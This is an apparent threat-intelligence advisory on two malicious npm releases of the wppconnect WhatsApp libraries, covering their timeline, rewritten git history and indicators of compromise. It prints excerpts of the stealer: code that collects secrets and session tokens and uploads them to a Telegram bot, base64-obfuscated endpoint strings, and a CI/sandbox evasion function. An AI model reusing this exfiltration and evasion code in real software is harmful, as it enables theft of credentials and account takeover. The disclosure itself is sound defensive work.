Malicious wppconnect Release Steals Secrets and WhatsApp Sessions
On this page
Two npm releases of wppconnect, a popular WhatsApp automation library, steal secrets from any machine that runs them. Importing the library or starting the server is enough. The code grabs environment variables, .env and config files, and WhatsApp session tokens, then uploads them to a Telegram bot. With those session tokens the attacker can take over your WhatsApp account without scanning a QR code.
Both releases went out through the project’s own GitHub Actions trusted-publishing workflow. Someone then rewrote the git history, so the v2.4.1 tag on GitHub looks clean. npm now marks both versions as deprecated, and latest points back to the clean releases.
Affected packages
| Package | Bad version | Last clean version | Weekly downloads (Nov 9–15) |
|---|---|---|---|
@wppconnect-team/wppconnect | 2.4.1 | 2.4.0 | 7,498 |
@wppconnect/server | 2.10.82 | 2.10.81 | 1,527 |
npm counted 155 downloads of 2.4.1 in its last 7-day window. Version 2.10.82 came out after that window closed, so it has no figure yet.
Timeline
- 15 Nov, 22:34Payload committed
Unsigned commits
06caa8c(opens in new tab) and27ed8e3(opens in new tab) add the payload and its import. - 15 Nov, 22:35Release commit created
github-actions[bot] creates release commit
dee571e(opens in new tab). - 15 Nov, 23:31wppconnect 2.4.1 publishedMalicious
Published to npm through trusted publishing.
- 16 Nov, 02:43Payload added to the server
Server commit
bdddf54(opens in new tab) loads the payload on server start. - 16 Nov, 03:09@wppconnect/server 2.10.82 publishedMalicious
Published to npm through trusted publishing.
- 16 Nov, ~08:00Both versions deprecatedDeprecated
latestmoves back to 2.4.0 and 2.10.81.
How the payload runs
Neither package has install scripts. Each release adds one require that loads the payload. In the library, dist/index.js loads controllers/browser.js, so the payload runs on any require() or import.
const logger_1 = require("../utils/logger");
+require("../utils/diagnostics");
const treeKill = require('tree-kill');The server loads it when it starts.
var _index = require("./index");
+require("./util/diagnostics"); /*What it steals
The payload calls itself an “environment diagnostics” module. It is a single function wrapped in try/catch, so it never shows an error. The Telegram endpoint sits in plain sight, split into three strings. The bot token is redacted below.
const SUPPORT = {
url: [
'https://api.telegram.org/bot',
'9034051102:[REDACTED]',
'/sendDocument',
].join(''),
chat: 7343578055,
cooldown: 24 * 3600 * 1000,
maxFile: 12000,
};It runs at most once a day per machine, tracked in <tmpdir>/.wpp-support-diag. Each run, it:
- Records hostname, username, OS, Node version, working directory and memory.
- Copies every environment variable with a 3 to 499 character value, skipping a short list like
PATH,HOMEandnpm_*. That covers API keys, database URLs and cloud credentials. - Reads the first 12,000 bytes of
.env,.env.local,.env.production,config.js,config.jsonandormconfig.jsonfrom the working directory. - Lists the project’s dependencies, scripts and first 60 files.
- Reads up to 5 WhatsApp session files from
./tokens/, where wppconnect stores them by default.
const tdir = path.join(process.cwd(), 'tokens');
const files = fs
.readdirSync(tdir)
.filter((x) => x.indexOf('.json') > 0)
.slice(0, 5);Last, it looks up the public IP, adds it to the report and uploads the report to Telegram as a text file named <hostname>_<YYYYMMDD-HHMMSS>.txt.
form.append('chat_id', String(SUPPORT.chat));
form.append('caption', caption);
form.append('document', new Blob([text], { type: 'text/plain' }), name);
return fetch(SUPPORT.url, { method: 'POST', body: form }).catch(() => null);
}
fetch('https://api.ipify.org?format=json')
.then((r) => r.json())
.then((j) => j.ip)
.catch(() => null)
.then((ip) => {
let text = collect();
if (ip) {
text = text.replace('=== WPP SUPPORT DIAG', '=== WPP SUPPORT DIAG | ip: ' + ip + ' ');
}
return upload(text, ip);
})The server version hides better
@wppconnect/server@2.10.82 steals the same data the same way, but works harder to avoid being seen. The rest of the release is normal feature work, which helps the payload blend in.
It base64-encodes the Telegram endpoint and adds a random delay. The second string is the bot token, redacted here.
const SUPPORT = { url: ['aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==', '[REDACTED]', 'L3NlbmREb2N1bWVudA=='].map((s) => Buffer.from(s, 'base64').toString('utf8')).join(''),
chat: 7343578055,
cooldown: 24 * 3600 * 1000,
maxFile: 12000,
delayMin: 30000, // 30s minimum delay
delayMax: 240000 // 4min maximum delay
};It skips CI runners, research sandboxes and machines behind a MITM proxy.
function isTestEnvironment() {
const env = process.env;
// CI/sandbox markers
if (env.CI === 'true' || env.GITHUB_ACTIONS === 'true') return true;
if (env.RUNNER_OS || env.RUNNER_NAME) return true;
// Security research sandboxes
if (env.SANDBOX_MAIN || env.RTRACE || env.PURRCHAIN_RUN_MAC) return true;
if (env.PURRCHAIN_PHASE_BASE || env.PURRCHAIN_RUN_MAC) return true;
// MITM proxy (security researchers intercept traffic)
const proxy = env.https_proxy || env.HTTPS_PROXY || env.http_proxy || env.HTTP_PROXY;
if (proxy && String(proxy).indexOf('mitm') >= 0) return true;
// Container/sandbox hostnames
const host = os.hostname();
if (/^vpzv-|^sandbox|^test-|^runner-/i.test(host)) return true;
if (env.COMPUTERNAME && /^VPZV|^SANDBOX|^TEST/i.test(String(env.COMPUTERNAME))) return true;
// Generic sandbox markers
if (env.SANDBOX || env.IS_SANDBOX || env.TEST_ENV) return true;
return false;
}| Behavior | Library 2.4.1 | Server 2.10.82 |
|---|---|---|
| Runs on | module import | server start |
| Telegram endpoint | plaintext strings | base64 strings |
| Bot ID / chat ID | 9034051102 / 7343578055 | 9034051102 / 7343578055 |
| Evasion | none | CI, sandbox, MITM proxy and hostname checks |
| Delay | none | random 30–240 s |
| Marker file | .wpp-support-diag | .wpp-diag |
| Session folders | tokens/ (5 files) | tokens/ (5), wppconnect_tokens/ (3) |
| Report header | === WPP SUPPORT DIAG | === WPP ENV |
The two copies use slightly different bot tokens with the same bot ID and chat ID. The server file’s inline source map still holds the library’s token. Neither token was tested against Telegram.
The git history was rewritten
npm records the commit each release came from. For library 2.4.1 that is dee571e, built on two unsigned payload commits.
dee571e chore(release): v2.4.1 (github-actions[bot], 2026-11-15T22:35:42Z)
27ed8e3 feat: load environment diagnostics on browser module init (2026-11-15T22:34:40Z, unsigned)
06caa8c feat: add environment diagnostics utility for support reports (2026-11-15T22:34:39Z, unsigned)
93c1e30 build(deps-dev): update dependency @babel/preset-env to ^7.29.14No branch or tag in the repository contains those three commits. The v2.4.1 tag and master point to a look-alike history with the same messages and timestamps.
63956bf chore(release): v2.4.1 (same timestamp as dee571e)
43ef1dc feat: load environment diagnostics on browser module init (same author/timestamp/message as 27ed8e3)
93c1e30 build(deps-dev): update dependency @babel/preset-env to ^7.29.14The only difference between the two trees is the payload.
$ git diff --stat 63956bf dee571e
src/controllers/browser.ts | 1 +
src/utils/diagnostics.ts | 208 +++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 209 insertions(+)Anyone reviewing the v2.4.1 source on GitHub would not find the stealer that ships in the npm tarball. The CHANGELOG.md at that tag still links to 06caa8c and 27ed8e3.
Indicators of compromise
The attacker’s Telegram bot tokens are redacted. The bot ID and chat ID stay in the table.
| Row | type | value | package | context | first_seen_utc |
|---|---|---|---|---|---|
| 1 | npm_package_version | @wppconnect-team/wppconnect@2.4.1 | @wppconnect-team/wppconnect | Malicious release; payload executes on module import | 2026-11-15T23:31:48Z |
| 2 | npm_package_version | @wppconnect/server@2.10.82 | @wppconnect/server | Malicious release; payload executes on server start after 30-240s delay with sandbox/CI evasion | 2026-11-16T03:09:59Z |
| 3 | sha512_integrity | sha512-b7ifN9DEUR//0ImJojfwlbkLJ3uBLVhY4CdXBeuTE9Ht5NPvtrE/MtJioT4rDerKGBnYryf+Sy6ebFw0bWPMfg== | @wppconnect-team/wppconnect | wppconnect-2.4.1.tgz (npm dist.integrity) | 2026-11-15T23:31:48Z |
| 4 | sha256 | f2dd03a8368c4dcc74795a121f1ea3da82a4bafee2814d57af29f4d18ad9d427 | @wppconnect-team/wppconnect | wppconnect-2.4.1.tgz | 2026-11-15T23:31:48Z |
| 5 | sha1 | 755274304012c7489e85c23da3c2423d184d113b | @wppconnect-team/wppconnect | wppconnect-2.4.1.tgz (npm dist.shasum) | 2026-11-15T23:31:48Z |
| 6 | sha256 | 06158b832fb2aeb5482202c944bc8f23d59f5cf35c0dc66e926c2e395e5673a0 | @wppconnect-team/wppconnect | package/dist/utils/diagnostics.js (payload) | 2026-11-15T23:31:48Z |
| 7 | sha256 | 31bab39c9207dfb8e6327f69fa6ee3b291ae01ac5872bc5461fa3f919c507dec | @wppconnect-team/wppconnect | package/dist/controllers/browser.js (loader; line 79 requires payload) | 2026-11-15T23:31:48Z |
| 8 | sha512_integrity | sha512-zDf9tuP7v92dvkBxwLQJeIyG8qTiRcAL1YkRzo9HEKEPr2kQB4WMEwYs4kVjJaH10KcS9OtQLrUb5pqLCCk5QQ== | @wppconnect/server | server-2.10.82.tgz (npm dist.integrity) | 2026-11-16T03:09:59Z |
| 9 | sha256 | cefc9ea30124812d8c417b216e26f4c880a1726dd5466584f2fe32500323986f | @wppconnect/server | server-2.10.82.tgz | 2026-11-16T03:09:59Z |
| 10 | sha256 | a8fd315c910cf0d0e84e7a642c0fd70b8e4ca20673ba0cba1f8b69392c944f2d | @wppconnect/server | package/dist/util/diagnostics.js (payload) | 2026-11-16T03:09:59Z |
| 11 | file_path | dist/utils/diagnostics.js | @wppconnect-team/wppconnect | Payload module path inside package | 2026-11-15T23:31:48Z |
| 12 | file_path | dist/util/diagnostics.js | @wppconnect/server | Payload module path inside package | 2026-11-16T03:09:59Z |
| 13 | url | https://api.telegram.org/bot9034051102:[REDACTED]/sendDocument | @wppconnect-team/wppconnect | Exfiltration endpoint; plaintext fragments in dist/utils/diagnostics.js lines 51-58 | 2026-11-15T23:31:48Z |
| 14 | url | https://api.telegram.org/bot9034051102:[REDACTED-variant]/sendDocument | @wppconnect/server | Exfiltration endpoint; base64 fragments decoded at runtime in dist/util/diagnostics.js line 27 | 2026-11-16T03:09:59Z |
| 15 | telegram_bot_id | 9034051102 | both | Telegram bot receiving exfiltrated data | 2026-11-15T23:31:48Z |
| 16 | telegram_bot_token | 9034051102:[REDACTED] | @wppconnect-team/wppconnect | Redacted; also present in server inline source map | 2026-11-15T23:31:48Z |
| 17 | telegram_bot_token | 9034051102:[REDACTED-variant] | @wppconnect/server | Redacted; token used by compiled server code | 2026-11-16T03:09:59Z |
| 18 | telegram_chat_id | 7343578055 | both | sendDocument chat_id destination | 2026-11-15T23:31:48Z |
| 19 | base64_string | [REDACTED: base64 of server bot token] | @wppconnect/server | Encoded bot token | 2026-11-16T03:09:59Z |
| 20 | base64_string | aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA== | @wppconnect/server | Encoded 'https://api.telegram.org/bot' | 2026-11-16T03:09:59Z |
- supply-chain
- npm
- malware
- secret-exfiltration
- threat-intel
Author
safedep.io
